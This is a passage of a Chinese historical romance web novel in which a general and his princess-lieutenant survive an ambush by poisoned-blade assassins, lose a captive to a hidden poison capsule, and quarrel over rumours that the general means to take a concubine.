江令舟的笑意敛去几分。他松开揽着黎音袅的手,却仍旧握着她的手腕,指腹再次摩挲上那道旧疤。 “知道了。”他扬声应道,声音恢复了平日的沉稳,“在帐外候着。” 帐外传来周勇恭谨的应答:“是,将军。” 黎音袅趁机彻底挣脱他的桎梏,迅速整理着自己微乱的衣衫,背对着他,不敢回头。“将军,军务为重,您……您快去吧。”她的声音还有些不稳。 江令舟看着她略显僵硬的背影,沉默片刻,缓缓道:“音袅。” 黎音袅身形一顿。 “昨夜,多谢你。”他的声音很轻,却带着不容忽视的郑重,“若非你当机立断,以那般法子……我恐怕撑不过去。” 黎音袅慢慢转过身,垂着眼帘,避开他的注视。 “将军言重了。凝香散凶险,属下也只是尽力一试,不敢居功。”她尽量让自己的语气显得平静而疏离。 “尽力一试?”江令舟的眉头微蹙,“你为我引导药力,耗费心神,险些虚脱,这也是尽力一试?” 江令舟想想这些日子朝廷的事情过于繁忙,俩人大婚之后很少有过如此温馨的时刻了。他回忆起昨晚,嘴角微微上扬。 她抬起头,撞上他深邃的眼眸,那里面有她看不懂的复杂情绪。“将军,彼时彼刻,别无他法。您是一军统帅,不容有失。” “所以,你就甘愿冒险?”他追问,语气中带上了一丝她从未听过的执拗,“就像三年前那样?”他的视线落在她手腕的疤痕上。 黎音袅的心猛地一抽。“将军,往事已矣,何必再提。”她移开视线。 江令舟上前一步,逼近她,“那你告诉我,昨夜,又是什么职责?” 他的逼视让她有些喘不过气。帐内的空气似乎都变得稀薄起来。 “我……”黎音袅语塞。她能说什么?说她不忍看他受苦?说她在慌乱中只想到这个法子?还是说,她内心深处,对他并非毫无情愫?这些话,她一个字也说不出口。 “将军,”她深吸一口气,强迫自己冷静下来,“昨夜之事,天知地知,你知我知。凝香散的药力已经解了,这才是最重要的。至于其他,还请将军……不要再问。” 江令舟定定地看着她,看着她故作镇定的模样,看着她眼底深处那一闪而过的慌乱。许久,他才发出一声几不可闻的叹息。 “好,我不问。可能咱们虽然是夫妻但忙于朝中事务,生疏了。”他退开一步,拉开了些许距离,“你去梳洗一下吧。前军巡视,你若不想去,便在帐中歇息。” 黎音袅心中一松,却又莫名地升起一丝失落。“好的。” 江令舟转身,走到帐帘边,手刚要掀开,又顿住,回头看她:“音袅。” “将军还有何吩咐?” “昨夜之事,”他一字一顿,声音清晰,“我向你保证,以后咱们夫妻多注重感情生活吧。” 他说完,不再看她的反应,径直掀开帐帘走了出去。晨光争先恐后地涌入,驱散了帐内残存的暧昧气息。 黎音袅独自站在帐中,怔怔地望着晃动的帐帘。 不会再有下次……他指的是凝香散那样的凶险,还是指……他们之间这样的夜晚? 她的手,不自觉地抚上了腕间的旧疤。 第132章五味杂陈 晨曦透过帐帘缝隙,将将驱散帐内最后一丝暧昧。 黎音袅垂眸,替江令舟系上最后一枚甲胄的盘扣。冰冷的金属触感让她纷乱的心绪略微沉静。 帐外传来周勇恭谨的声音,隔着厚重的毡帘,字句清晰:“将军,左贤王部近日频繁异动,据探子回报,其麾下数支精骑正向南集结,目标不明,但……恐对我军防线不利。” 江令舟“嗯”了一声,示意周勇继续。他的指尖原本停在黎音袅腰侧的甲胄系带上,此刻却忽然微微用力,捏了捏她腰间的软肉。 黎音袅身子一僵,昨夜被他掌控的无力感与羞恼瞬间涌上。她几乎是本能地反手,指甲隔着他的手甲,不轻不重地掐了一下他的手背。 江令舟吃痛,却反而发出一声低低的笑,那笑声沉而磁,震得她耳膜发痒。他似乎很满意她这小猫般的反抗。 “知道了。”江令舟扬声对帐外道,语气恢复了一贯的沉肃,“继续监视,任何动向,即刻来报。” “是,将军!”周勇应道。 帐内一时安静下来,只余甲片碰撞的细微声响。黎音袅想退开,他却未松手。 “明日,”江令舟忽然开口,声音不大,却带着不容置喙的决定,“传令下去,本将军要往西山猎场行猎。” 周勇在帐外显然愣了一下,军情紧急,将军此刻却要去行猎?但他不敢质疑,只应:“是,将军。不知将军此次行猎,可有何章程?” 江令舟的视线落在黎音袅脸上,她正疑惑地看着他。他唇角勾起一抹意味深长的弧度:“就说,本将军要亲自教夫人射天狼。” 夫人二字,如同一块巨石投入黎音袅本就不平静的心湖,激起千层浪。 他的眼中却闪过一丝她再熟悉不过的锐光——那是每次排兵布阵、设下圈套时才会有的狠厉与算计。 黎音袅心头一凛,所有的旖旎心思瞬间被这道锐光驱散。所谓猎场,所谓射天狼,不过是引蛇出洞的饵!左贤王异动,他这是要将计就计,主动出击,引那不安分的“蛇”现身。 “将军……”周勇的声音带着一丝迟疑,显然也觉得这命令突兀,却又不敢多问,“西山猎场虽好,但此时前往,是否……” “本将军自有道理。”江令舟打断他,语气不容置辩,“你只需依令行事。”顿了顿,他又补充道,“对了,将本将军要教夫人骑射的消息,‘不经意’间传出去,尤其要让那些个喜欢探听消息的耳朵,都听清楚了。” “属下遵命!”周勇的声音这次干脆利落,显然也品出了一丝不同寻常的味道。 黎音袅看着江令舟,他眼底的算计未退,却又多了几分戏谑,仿佛在欣赏她此刻的表情。她明白他的用意,却无法忽略那声“夫人”带来的冲击。 她垂下眼帘,掩去眸中的复杂。“将军英明,此计甚妙。”她的声音尽量平静,听不出太多情绪。 江令舟挑眉:“哦?你也觉得妙?”他的手指依旧停在她腰侧,并未移开,反而轻轻摩挲了一下,“那明日,便要看‘夫人’的箭术了。” 他刻意加重了“夫人”二字,语气中的调侃让黎音袅脸颊微微发烫。她深知此刻不宜与他争辩称呼问题,一切以大局为重。 “属下箭术疏浅,怕要……辜负将军期望。”她低声道,试图避开这个暧昧的称谓。 “无妨。”江令舟松开手,退后一步,仔细打量着她,仿佛在审视一件即将派上用场的利器,“本将军亲自教你,自然不会让你失了颜面。” 帐外周勇的脚步声渐远,显然是去传令了。 帐内再度恢复安静,却比方才更多了几分说不清道不明的张力。 黎音袅定了定神,抬起头直视他:“将军,左贤王狼子野心,此次异动,恐怕所图不小。西山猎场……是否太过凶险?”她不是质疑他的计策,而是担心其中的变数。 “所以才要去。”江令舟走到舆图前,目光落在西山猎场的位置,“那里地势复杂,既适合藏匿,也适合围剿。本将军倒要看看,他究竟想玩什么花样。”他的手指在舆图上重重一点,“天狼星,主杀伐。本将军要射的,便是那头最凶悍的狼。” 黎音袅走到他身边,看着舆图上的标记。“将军是想……借此机会,将左贤王安插在我军内部的眼线一并拔除?” “不止。”江令舟侧头看她,眸光深沉,“本将军还要让他知道,谁才是这片草原真正的主宰。”他语气平淡,却透着一股令人心悸的霸气。 黎音袅心中微动。这才是她熟悉的江令舟,运筹帷幄,杀伐果断。昨夜的脆弱与失控,仿佛只是一场错觉。 “那……‘夫人’之说,也是计策的一环?”她还是忍不住问了出来,声音有些干涩。 江令舟转过身,面对着她,两人距离不过咫尺。他看着她的眼睛,那里面有探究,有不解,还有一丝她自己都未察觉的……期待? “你觉得呢?”他反问,不急着给出答案。 黎音袅被他看得有些不自在,移开视线:“将军的意思是?” “呵。”他轻笑一声,“有时候,假作真时真亦假。左贤王生性多疑,本将军越是表现得沉溺温柔乡,荒废军务,他便越会觉得有机可乘。”他的手指轻轻抬起她的下颌,迫使她与他对视,“而你,音袅,便是这场戏中,最重要的一环。” 她的心跳漏了一拍。最重要的一环……是因为她的身份,还是因为……她这个人? “那我定会……配合将军。”她艰难地说道,避开了那个让她心慌的称呼。 “很好。”江令舟满意地点头,松开她的下颌,“明日,穿得……明艳一些。像个真正的将军夫人。” 黎音袅一怔,明艳?她平日里多是一身劲装,或是素色衣裙,何曾有过“明艳”的装扮? “将军……” “这是命令。”江令舟打断她,不给她拒绝的机会,“去准备吧。一场好戏,需要一个足够引人注目的开场。” 他转身,重新看向舆图,周身的气息又恢复了平日的冷肃与威严,仿佛方才那片刻的温存与戏谑,都只是为了让她更好地入戏。 黎音袅站在原地,看着他的背影,心中五味杂陈。他总是有千万种理由,让她无法拒绝,无法逃离。从三年前那次挡箭,到昨夜的“解药”,再到今日的“夫人”,她似乎永远都在他的掌控之中。 “是,将军。”她低声应道,声音里带着一丝自己都未曾察觉的疲惫。 江令舟没有再回头,只是淡淡吩咐:“传军医过来,让他为你看看手腕的旧伤,明日骑射,莫要牵动了。” 黎音袅下意识地抚上腕间的疤痕,那里早已不痛,却在他提及的瞬间,又隐隐作痛起来。 她默默退出了营帐。 第133章暗杀 猎场的风,裹挟着特有的草腥与沙尘,扑面而来。黎音袅今日穿了一袭湖蓝色的骑射服,边缘绣着繁复的金丝缠枝莲纹,袖口与领口缀着细小的明珠。 这是江令舟昨夜特意让人送来的,言说要“明艳”,要“像个真正的将军夫人”。她拉弓的动作,因这不甚习惯的衣着而略显滞涩。 “嗖——” 箭矢离弦,擦着一头奔逃的黄羊耳畔掠过,钉入后方沙地。她心头一紧,这身衣裳果然碍事。 几乎是同时,另一支箭破空而至,沉闷的“噗”声响起,那黄羊悲鸣一声,应声倒地,箭矢正中咽喉。 江令舟驱马从她身侧掠过,翻身下马,动作流畅如行云流水。他并未去看那猎物,深邃的视线反而锁定了她。 “箭术退步了,长公主。”他的声音平静,听不出喜怒。 黎音袅抿了抿唇,正要开口辩解,江令舟却已几步走到她马前,指尖忽然扣住她的手腕,力道不容抗拒。她一惊,被他带着从马背上旋下,踉跄一步,便落入一个坚实的怀抱,随即被他整个身子带着向后急退,躲进一株粗壮的胡杨树干后。 她腕间的旧伤被他握得生疼,不由蹙眉。这人力气何时这般大了? “有埋伏。”他的呼吸拂过她耳后,温热的气息让她颈后肌肤泛起一阵战栗。 黎音袅心神一凛,瞬间将所有杂念抛诸脑后。“在哪里?” “三十步外沙丘后,有三道人影。”江令舟的声音压得很低,却清晰无比,“装备精良,不像寻常马匪。” 她反手便要去抽袖中短匕,腕骨却被他骤然收紧的五指按住,动弹不得。 “将军?”黎音袅不解,压低声音。这个时候,还顾忌什么“夫人”的仪态? “别动。”江令舟盯着沙丘方向,“看看他们想做什么。” 他的镇定让她稍安。难道,这也是他计划中的一环?诱敌深入?她脑中闪过无数念头。 远处,毫无预兆地传来一声凄厉的狼嚎,并非真正的野狼,而是某种信号。 沙沙…… 几乎是狼嚎落下的瞬间,他们正前方的沙地忽然拱起,七八个黑衣蒙面人竟如鬼魅般破土而出!他们手中弯刀在日光下泛着幽蓝的诡异光泽。 “毒蛊门!”黎音袅低呼,心头剧震。那些弯刀上淬的是见血封喉的剧毒! 江令舟眸色一沉,将她更深地往树后藏了藏:“站稳了,夫人。” 这声“夫人”在此刻听来,多了几分戏谑,却也带着不容置喙的命令。 那些蒙面人一言不发,身形敏捷,直扑而来,目标明确——正是他们二人。 “将军,他们人多,且兵器有毒!”黎音袅急道,想要挣开他的手。这身华服之下,她依旧是那个能征善战的副将,不是需要躲在男人身后的娇弱女子。 “我知道。”江令舟松开她的手腕,长剑已然出鞘,锵的一声清鸣,在寂静的猎场上格外刺耳。“护好自己。” 他话音未落,人已如离弦之箭般迎了上去。剑光闪烁,带起一片肃杀之气。 黎音袅深吸一口气,也拔出了袖中短匕。手腕处方才被他紧握的地方,旧伤的疤痕隐隐作痛,提醒着她曾经的伤痛与此刻的凶险。她顾不得许多,这身“明艳”的骑射服虽然束手束脚,但她还不至于因此成了废人。 一名蒙面人见江令舟勇悍,试图迂回从侧面攻击。黎音袅眼神一冷,不退反进,手中短匕如毒蛇出洞,直刺那人胁下。 “噗嗤!” 那人闷哼一声,动作一滞。黎音袅一击得手,却不敢恋战,迅速后撤。她清楚毒蛊门兵器的厉害,绝不能被划伤分毫。 江令舟的剑法大开大合,却又滴水不漏,转瞬之间便有两名蒙面人倒在他的剑下,伤口发黑,显然是毒发攻心。 “你们是谁派来的?”江令舟剑指一名看似头领的蒙面人,声音冷冽。 那蒙面人嘿嘿一笑,声音沙哑:“将军的命,值钱得很。” 话音未落,又有三名蒙面人从另一侧沙丘后绕出,加入了战团。人数优势瞬间明显。 黎音袅心中一沉。左贤王?还是其他觊觎这片草原霸权的人? 她凝神应对,短匕翻飞,尽力为江令舟分担压力。然而,那身繁复的衣袍终究是累赘,一个不慎,一名蒙面人的弯刀带着幽蓝的光芒,险险擦过她的臂膀。 衣袖被划破,露出一道浅浅的血痕。 “音袅!”江令舟的声音里带了一丝急切,一剑逼退身前敌人,回身便要向她掠来。 黎音袅心中一慌,不是因为受伤,而是因为他的反应。她急忙道:“将军,我没事,皮外伤!” 她不能让他分心,更不能让他因为自己而陷入险境。这是战场,不是演戏。 然而,那被划破的伤口处,一种细微的麻痒感开始蔓延。她暗道不好,毒素入体了! “他们的目标是你!”黎音袅忍着手臂上传来的异样,对江令舟喊道,“将军快走!” “别那么说!”江令舟怒喝一声,剑势陡然变得凌厉凶狠,每一剑都攻向敌人要害,逼得围攻他的数人连连后退。 他抽空瞥了她一眼,见她脸色微白,额上渗出细汗,握着短匕的手也有些不稳。 “这点毒,还奈何不了本将军的夫人。”江令舟的声音恢复了惯常的沉稳,甚至带上了一丝嘲讽,不知是对敌人,还是对她。 黎音袅咬牙,强行压下体内翻涌的不适感。她不能倒下,至少不能在他面前示弱。她是他戏中最重要的一环,怎能轻易出戏? 战斗仍在继续,风声鹤唳,刀剑相击声不绝于耳。 江令舟如一尊杀神,护在她身前,剑光所到之处,血花飞溅。那些蒙面人虽然悍不畏死,但在他绝对的武力面前,也开始显露颓势。 一名蒙面人瞅准空当,手中弯刀化作一道毒光,直刺江令舟后心。 “将军小心!”黎音袅惊呼,想也不想,用尽全力将手中短匕掷出。 叮!短匕精准地打偏了弯刀的轨迹,但她自己也因为发力过猛,牵动了手臂的伤口,一阵剧痛袭来,眼前发黑。 江令舟反手一剑,将那偷袭的蒙面人斩于马下。他没有回头,声音却带着一丝不易察觉的紧绷:“还能撑住吗?” “……能。”黎音袅从牙缝里挤出一个字,手腕的旧伤与新添的毒伤交织在一起,痛得她几乎要站立不住。 她强迫自己清醒。这场戏,还没有结束。 江令舟没有再多言,攻势更加迅猛。终于,剩下的蒙面人见势不妙,对视一眼,虚晃一招,便如潮水般向远处退去。 江令舟没有追击,长剑斜指地面,剑尖淌下黑色的毒血。 猎场上,一时只剩下风声和两人略显粗重的呼吸。 他缓缓转身,走向黎音袅。 第134章留活口 风沙渐歇,江令舟剑尖的毒血滴落,在干燥的沙地上洇开一小团深色。他转身,一步步走向黎音袅,每一步都带着战后的沉重。 “如何?”他问,声音比方才沉哑。 黎音袅勉力站直,试图挤出一个无谓的笑容,却牵动了手臂的伤,痛楚让她额角渗出更多冷汗。“小伤,无碍。”她体内的麻痒感愈发清晰,带着一种阴寒的意味,四肢百骸都开始发冷。 江令舟没有理会她的说辞,目光落在她被划破的衣袖和那道已经开始泛黑的血痕上。他伸出手,想要察看,黎音袅却下意识地避了一下。 “别动。”他的语气不容置喙。 就在此时,最后一个负隅顽抗的蒙面人嘶吼着扑向江令舟,显然是想同归于尽。黎音袅心头一跳,毒素带来的迟滞感让她反应慢了半拍,眼看那蒙面人就要近身—— 唰! 江令舟甚至没有完全转身,反手一剑,长剑如毒蛇出洞,精准无误地从蒙面人肋下刺入,透背而出。那人动作一僵,颓然倒地。 几乎是同时,黎音袅忍着右臂的剧痛,左手短匕如电,抵住另一名试图爬起逃窜的刺客咽喉。冰冷的刃锋让那刺客浑身一僵。 血腥味混着沙粒扑入口鼻,黎音袅的视线无意中扫过那被她制住的刺客耳后。那里,赫然有一个极小的青色刺青,图案诡异,像是一弯残月,又带着几分野兽的爪痕。 她脑中轰的一声,某个被刻意压下的记忆翻涌上来——苏木!苏木手腕上,不久前曾惊鸿一瞥见到的那个新月形疤痕,虽然形状略有差异,但那种独特的诡异感,如出一辙! 这些刺客,和苏木有关? “留活口。”江令舟踢开脚边的尸体,甲胄上溅满的血点在夕阳余晖下显得格外狰狞,他的眼神却因这三个字亮得惊人。 黎音袅心中一凛,压下翻腾的思绪。她拽着那名俘虏的衣领向后拖了半步,指尖运起巧劲,在那人后颈某个穴位上一叩。俘虏闷哼一声,双眼一翻,软软地瘫了下去,彻底晕死过去,而非直接要害毙命。 江令舟走到她身边,先是看了一眼地上的俘虏,然后视线便胶着在她渗血的右臂上。“毒发了。”他陈述,语气没有起伏,却带着一股山雨欲来的压迫。 “将军多虑,皮肉伤,看着吓人罢了。”黎音袅强撑着,声音却有些发飘,“这点小毒,还真当我不经事么?”她试图用轻松的语气掩饰,但体内那股寒意已经开始侵蚀她的神智。 “是么?”江令舟不辨喜怒地反问,突然伸手,一把撕开了她右臂的衣袖。 “将军!”黎音袅惊呼,想后退已是不能。 破碎的衣料下,那道伤口周围的肌肤已经呈现出不正常的青黑色,并且有向四周蔓延的趋势。 江令舟的面色沉得能滴出水来。“这便是你的‘皮肉伤’?” 远处,急促的马蹄声由远及近,烟尘滚滚。 “是周勇。”黎音袅辨认出来,心中稍定,却也因为江令舟此刻的专注而更加不安。她不能让他因为自己而耽误正事,更不能让这出“戏”因为自己这点伤而出纰漏。 江令舟没有回头,依旧盯着她的伤口,仿佛要将那毒素用眼神逼出来。“你中的毒,与我剑上淬的,同源。” 黎音袅一怔。剑上淬毒,是为了震慑,也是为了速战速决,但她从未想过,敌人也会用同样的手段,甚至更为阴狠。 “他们果然是冲着你来的。”她喃喃道,随即声音转厉,“将军,此地不宜久留,必须尽快处理俘虏,还有……”她顿了顿,看向那被她打晕的刺客,“他耳后有刺青。” 江令舟这才将视线从她的伤口上移开,转向那个俘虏,深邃的眼眸中划过一丝锐利。“什么刺青?” “青色的,像残月,又像兽爪。”黎音袅尽量清晰地描述,“与……与苏木腕间的疤痕,有些相似。” 苏木。 这两个字一出,江令舟周身的气息骤然冷冽了几分。他沉默片刻,似乎在权衡什么。 此时,周勇已带着一队亲兵策马奔至近前,翻身下马,单膝跪地:“将军!末将来迟,请将军恕罪!”他看到遍地的尸体和江令舟、黎音袅身上的血迹,面色大变。 “起来。”江令舟的声音恢复了平日的冷硬,“清点伤亡,处理掉这些尸体。这个,”他指了指那个被黎音袅打晕的刺客,“带回去,严加看管,本将军要亲自审问。” “是!”周勇应声,立刻指挥手下行动起来。 江令舟这才重新看向黎音袅,她的脸色已经白得像纸,嘴唇也失去了血色,额上的细汗几乎浸湿了鬓发,握着短匕的左手也止不住地轻颤。 “还说没事?”他语气中带着压抑的怒火,但更多的是一种无法掩饰的焦躁。 黎音袅张了张嘴,想说些场面话,却只觉得一阵天旋地转,眼前发黑,身体晃了晃,几乎要栽倒。 一只强健有力的手臂及时揽住了她的腰,将她带入一个坚实而带着血腥味的怀抱。 “将军……”她靠在他甲胄上,冰冷的金属硌得她有些疼,却也带来一丝奇异的安心。毒素的侵蚀让她浑身发冷,此刻却能感觉到他身体传来的灼热温度。 “闭嘴。”江令舟打断她,语气依旧强硬,动作却轻柔了许多。他打横将她抱起,无视了她象征性的挣扎。 “放我下来,将军,我自己能走……”黎音袅的声音虚弱无力,这副模样若是被旁人看到,她“将军夫人”的戏码还如何演下去? “再多说一个字,军法处置。”江令舟冷声道,抱着她的手臂却收得更紧。他低头,看着她苍白的面容和紧闭的双眼,心中那股无名火烧得更旺。这女人,总是在这种时候逞强。 他抱着她,大步走向自己的战马。周勇已经处理好现场,牵马过来,见此情形,眼神中闪过一丝惊讶,但很快垂下头,不敢多看。 “将军,此人如何处置?”一名亲兵指着那个被单独捆绑的活口刺客。 “带回大营,严密看押。”江令舟头也不回地命令,翻身上马,将黎音袅稳稳地置于身前。 黎音袅已经有些神志不清,只觉得周身被一股熟悉的气息包裹,那股让她心安的气息。她努力想睁开眼,想说些什么,证明自己还能撑住,但眼皮却重如千斤。 “苏木……”她用尽最后一丝力气,从唇间逸出两个字。 江令舟身形一顿,低头看她。她双目紧闭,眉头却微微蹙着,似乎在梦中也摆脱不了某种困扰。 他没有再说话,只是催动了马匹,向着大营的方向疾驰而去。风声在耳边呼啸,怀中的人儿轻若无物,却又重如千钧。 第135章 毒囊 地牢深处,阴冷潮湿。 摇曳的烛火将墙壁上那个蜷缩的身影拉扯得如同鬼魅。空气中弥漫着铁锈与血的混合气味,还有一种令人作呕的腐臭。 黎音袅裹着江令舟的外袍,靠在冰冷的石壁上,毒素的余威仍让她阵阵发冷,指尖都是麻的。她看着不远处被粗大铁链锁住的俘虏,那人始终低垂着头,乱发遮面,看不清样貌。 江令舟站在她身侧,如同一座沉默的山。 “你本不必下来。”他的声音在地牢中显得格外沉闷。 黎音袅勉力牵了牵嘴角,声音还有些虚:“将军不也在此?多一个人,或许能多看出些什么。”她不想承认,一想到与苏木相关的线索,她便无法安心躺在营帐。 江令舟没有再劝。他知道她的性子。 狱卒端着托盘进来,上面放着一盏热茶。江令舟接过,递到黎音袅唇边。她本想推拒,但他不容分说的态度让她只能顺从地喝了几口。温热的茶水滑入喉咙,驱散了些许寒意。 “多谢将军。” 他未应声,只是将空杯放回托盘,目光重新投向那俘虏。 黎音袅的视线也随之而去,正巧那俘虏微微侧了下头,露出了小半边耳朵。昏暗光线下,她隐约看到他耳后皮肤上,似乎有一抹极淡的青色痕迹。 “把他的头抬起来。”江令舟对狱卒命令道。 狱卒领命,粗暴地揪起俘虏的头发,迫使他仰起脸。那是一张平平无奇的脸,此刻却因痛苦而扭曲。然而,黎音袅的注意力全在他右耳后方。 那里,赫然是一个残月形的青色刺青。 与苏木那个,几乎一模一样。 黎音袅的心脏猛地一缩,苏木被处死前那双怨毒的眼睛,再一次浮现在她眼前,清晰得如同昨日。她握着短匕的手,不自觉地收紧。 江令舟察觉到她的异样,递来另一盏刚斟好的热茶,指尖在她冰凉的手背上轻轻一按,带着不容忽视的力道,似乎在安抚,也似乎在提醒她保持冷静。 “毒蛊门与突厥左贤王勾结,此事早有端倪。”他的声音平静,却带着山雨欲来的压迫感,“苏木,只是他们抛出来的一颗棋子。” 黎音袅捧着茶盏,指尖的微麻感似乎因他那一按而减轻了些许。她低声道:“棋子……那这盘棋,究竟有多大?” 就在此时,那一直如同死狗般的俘虏,毫无预兆地猛然睁开了双眼! 那双眼睛里布满血丝,闪烁着狼一般的凶光。他咧开嘴,露出一口森然的牙齿,其中两颗犬齿,竟泛着诡异的青黑色。 “嘿……嘿嘿……”他发出沙哑而尖利的笑声,如同夜枭啼哭,“你们以为,走了那个废物苏木,就能断了线索?” 他的声音带着一种玉石俱焚的疯狂:“天真!太天真了!大巫祝座下,岂是你们这些凡夫俗子能够揣度的?他老人家的棋子,早已遍布北疆的每一个角落!” “大巫祝?”黎音袅心头剧震,这个名号她闻所未闻,却本能地感到一种巨大的威胁。她霍然起身,尽管动作牵扯得她一阵眩晕,但手中的短匕却稳稳地指向了俘虏。 “大巫祝是谁?他在哪里?”她的声音因急切而带着一丝颤抖,匕首的寒芒在烛火下闪烁。 江令舟眉头紧锁,这个“大巫祝”的出现,无疑让本就复杂的局面更加扑朔迷离。北疆……若真如这刺客所言,那后果不堪设想。 俘虏看着黎音袅,眼中是毫不掩饰的嘲弄与轻蔑:“想知道?去地狱里问阎王吧!” 黎音袅的短匕瞬间向前一递,冰冷的刃尖直接抵住了他蠕动的舌根,阻止了他后续的污言秽语。 “说!”她厉声道,“你们的据点在哪里?还有多少同党?” 俘虏的眼神愈发疯狂,他似乎根本不惧怕死亡,反而因为黎音袅的逼问而显得有些兴奋。 “将军夫人……哦不,未来的将军夫人,何必动怒?”他含糊不清地说道,舌头被匕首抵住,声音古怪,“大巫祝……他……无所不在……” 江令舟冷哼一声:“冥顽不灵。”他向前一步,似乎打算亲自接手审问。 就在这一刹那,那俘虏眼中闪过一抹决绝的光芒! 他猛地发力,头部狠狠一甩,竟是主动迎向了黎音袅的匕首! 黎音袅猝不及防,只觉手腕一震,匕首似乎被什么硬物硌了一下。 “不好!”江令舟低喝。 几乎是同时,俘虏的口中发出一声古怪的闷响,像是硬壳碎裂。紧接着,一股浓稠的黑血从他嘴角汹涌而出,顺着黎音袅的匕首,一滴滴落在冰冷的青砖之上,发出滋滋的轻微声响,并冒起淡淡的黑烟。 那俘虏的身体剧烈地抽搐了几下,双眼圆睁,死死地盯着黎音袅,嘴角却还挂着那抹诡异而满足的笑容。随即,他的头颅无力地垂了下去,彻底没了声息。 一切发生得太快,不过电光石火之间。 黎音袅怔怔地看着滴落黑血的匕首,又看看地上那具迅速失去温度的尸体,耳边还回荡着那句“大巫祝无所不在”。 咬破齿间毒囊自尽。 “将军小心,谨防有诈。”毕竟这些杀手都是拼了命来完成任务的。 何其刚烈,又何其狠毒。 江令舟上前,探了探俘虏的鼻息,又检查了他的口腔,脸色阴沉得能滴出水来:“是烈性毒药,藏在牙齿里。” 线索,就这么断了。 黎音袅只觉得一股寒意从脚底升起,迅速蔓延至四肢百骸,比身上的余毒更让她感到冰冷。大巫祝……这个名字像一块巨石,沉甸甸地压在她心头。 江令舟看着她苍白的脸,以及那双因震惊而微微放大的瞳孔,终究还是放缓了语气:“别想太多,先处理你的伤。” 他转向狱卒:“处理掉,任何相关的物件都不要放过,仔细检查。” “是,将军!” 江令舟扶住黎音袅有些摇晃的身体:“我送你回去。” 黎音袅没有拒绝,她此刻确实需要倚靠。 第136章忍一忍 烛火摇曳,映着黎音袅苍白的脸颊,她倚在江令舟臂弯,脚步仍有些虚浮。方才地牢中的血腥与那句“大巫祝无所不在”如梦魇般盘旋不去,俘虏死前诡异的笑容,更是让她心底发寒。 “北疆……”她轻声呢喃,声音带着未散的余悸,“若真如他所言……” 江令舟侧首看她,手臂收紧了些,试图传递一些力量:“那不过是狂徒的疯言疯语,意图扰乱你的心神。眼下最重要的是你的伤。” 他的声音沉稳,却掩不住一丝凝重。大巫祝,这个名号他亦是首次听闻,但一个能让死士如此决绝效命的人物,绝非寻常。 回到驿馆临时辟出的静室,江令舟亲自为她处理臂上被毒血溅到的地方。虽有衣物阻隔,未曾直接触碰,但那毒血的诡异黑烟,不得不防。 “嘶……”药粉敷上,黎音袅微微蹙眉。 “忍一忍。”江令舟动作轻柔,与他平日的行军作风大相径庭,“明日让军医再为你详细看看。” 黎音袅点了点头,心中却不平静。那毒囊藏得如此隐秘,若非今日亲见,谁能想到。这些北疆刺客,手段当真狠戾。 “你似乎对北疆之事,格外上心?”江令舟一边包扎,一边状似随意地问。 黎音袅垂眸:“我朝与北疆素有摩擦,玉门关外便是他们的草场。多了解一分,总不是坏事。”她没有说出口的是,父皇将她送来和亲,本就有安抚北疆、稳固边防的深意。若北疆真出了一个能搅动风云的“大巫祝”,那她的使命…… 江令舟包扎完毕,直起身:“你先歇息,我去处理一些军务。”他顿了顿,“别胡思乱想。” 黎音袅“嗯”了一声,目送他离开。静室之内,唯余她一人。她抬起包扎好的手臂,那句“大巫祝无所不在”又在耳边响起,连同那刺客含糊不清的嘲讽:“将军夫人……” 她自嘲地弯了弯唇角。 不过半个时辰,江令舟的亲信校尉魏林便脚步匆匆地进了他的临时签押房,面色古怪。 “将军,”魏林压低了声音,神情透着几分棘手,“玉门关内,有些……有些不好的传言。” 江令舟正在查看舆图,闻言,笔尖一顿,墨滴在图上晕开一个小点。“说。” “是……是关于您的。”魏林有些迟疑,观察着江令舟的脸色,“传言说……说您此次巡查至玉门关,见了胡杨部落的女子……觉得她们……呃,美貌,有意……有意纳一房回去。” 江令舟的眉头瞬间拧紧,一股寒意掠过眼底:“胡言乱语!从何而起?” “源头还在查,但传得很快,市井之中,甚至……甚至有些我们自己营中的兵卒也在私下议论。”魏林额上见了汗,“还说得有鼻子有眼,说您已经看中的,是叫苏木的姑娘。” 苏木,那个试图要勾引自己的女子。 “荒唐!”江令舟一掌拍在案上,啪的一声,震得笔架上的狼毫轻颤,“早不传晚不传,偏偏在这个时候?” 他首先想到的便是北疆的手段。刺杀不成,便用这种龌龊伎俩? 魏林躬身:“将军,此事恐怕不是空穴来风那么简单。属下担心,是有人故意散播,意图……”他没有说下去,但意思不言而喻。 “意图离间,扰乱军心,甚至……”江令舟的目光转向黎音袅所在的静室方向,眸色沉了下去,“甚至,是冲着长公主来的。” 魏林心中一凛:“将军英明。” “去查!”江令舟命令道,“给我把这潭水搅浑的鱼揪出来!另外,约束营中将士,再有妄议者,军法处置!” “是!”魏林领命,正要退下。 “等等,”江令舟叫住他,“这传言……长公主那边,可曾听到风声?” 魏林面露难色:“驿馆人多口杂,恐怕……瞒不住。” 静室内,黎音袅正试图调息,驱散体内的不适感。门外隐约传来侍女们压低的交谈声,断断续续,却有几个字眼清晰地飘了进来。 “……将军……胡杨女子……” “……美貌……纳妾……” 黎音袅的动作一滞,原本努力平复的气息瞬间乱了。她缓缓睁开眼,眸中一片清寒。 侍女似乎察觉到她的动静,外面的声音戛然而止。 不多时,江令舟推门而入,脸上带着惯常的冷静,但黎音袅却从他紧抿的唇线中,察觉到一丝不同寻常的紧绷。 “你的伤好些了?”他问,声音比方才低沉。 黎音袅没有回答他的问题,只是静静地看着他:“将军军务繁忙,竟还有闲暇关心这些琐事?” 江令舟在她床边的圆凳坐下:“有些流言蜚语,不必放在心上。” “流言?”黎音袅的唇边泛起一抹冷峭的弧度,“我倒觉得,空穴来风,未必无因。将军威名赫赫,想来爱慕你的女子不会少。北疆女子热情奔放,与中原女子不同,将军若有此意,也属人之常情。” 她的语气平淡,却字字带刺。 江令舟的眉头皱得更深:“音袅,你知道这不是真的。” “我知道?”黎音袅反问,声音陡然拔高了几分,“我应该知道什么?知道将军是如何看待我们之间的盟约,还是知道在你眼中,我这个楚国长公主,其实无足轻重,可以随意被这些所谓的‘美人’取代?” 那刺客的话再次浮现:“长公主又如何?” 是啊,长公主又如何?在这些图谋不轨的人眼中,她或许只是一个可以利用、可以羞辱的棋子。 江令舟被她一连串的质问堵得心口发闷:“这是敌人的计策!你难道看不出来?” “我看出来了。”黎音袅迎上他的视线,眼中没有泪,却盛满了失望与戒备,“我看出来,在你眼中,我首先是楚国的长公主,其次才是一个可能会让你为难的女人。所以,任何可能影响你‘大局’的情绪,都是不应该存在的,对吗?” 